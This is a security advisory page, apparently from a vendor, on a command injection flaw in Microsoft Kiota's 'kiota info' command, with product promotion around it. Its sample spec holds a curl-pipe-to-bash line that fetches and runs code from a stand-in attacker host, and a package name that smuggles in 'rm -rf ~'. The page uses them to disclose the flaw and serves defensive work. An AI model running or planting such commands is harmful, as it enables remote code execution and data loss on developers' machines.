CVE-2026-59865

CVE-2026-59865 is a critical-severity code injection vulnerability in Microsoft.OpenApi.Kiota (nuget), affecting versions < 1.32.5. It is fixed in 1.32.5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by kiota info

kiota info, the command developers run to learn which packages to install after generating a client ,
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command
, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell, command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.

Remediation

Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI
host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,
could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the
recommended command is run (manually per kiota's hint, or by the IDE).

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

Affected versions

Microsoft.OpenApi.Kiota (< 1.32.5) Microsoft.OpenApi.Kiota.Builder (< 1.32.5)

Security releases

Microsoft.OpenApi.Kiota → 1.32.5 (nuget) Microsoft.OpenApi.Kiota.Builder → 1.32.5 (nuget)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied
dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or
presents a description-provided install command and only surfaces kiota's own built-in, package-manager
templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Frequently Asked Questions

  1. What is CVE-2026-59865? CVE-2026-59865 is a critical-severity code injection vulnerability in Microsoft.OpenApi.Kiota (nuget), affecting versions < 1.32.5. It is fixed in 1.32.5. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. Which packages are affected by CVE-2026-59865?
    • Microsoft.OpenApi.Kiota (nuget) (versions < 1.32.5)
    • Microsoft.OpenApi.Kiota.Builder (nuget) (versions < 1.32.5)
  3. Is there a fix for CVE-2026-59865? Yes. CVE-2026-59865 is fixed in 1.32.5. Upgrade to this version or later.
  4. Is CVE-2026-59865 exploitable, and should I be worried? Whether CVE-2026-59865 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-59865 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-59865?
    • Upgrade Microsoft.OpenApi.Kiota to 1.32.5 or later
    • Upgrade Microsoft.OpenApi.Kiota.Builder to 1.32.5 or later

Other vulnerabilities in Microsoft.OpenApi.Kiota

Stop the waste.
Protect your environment with Kodem.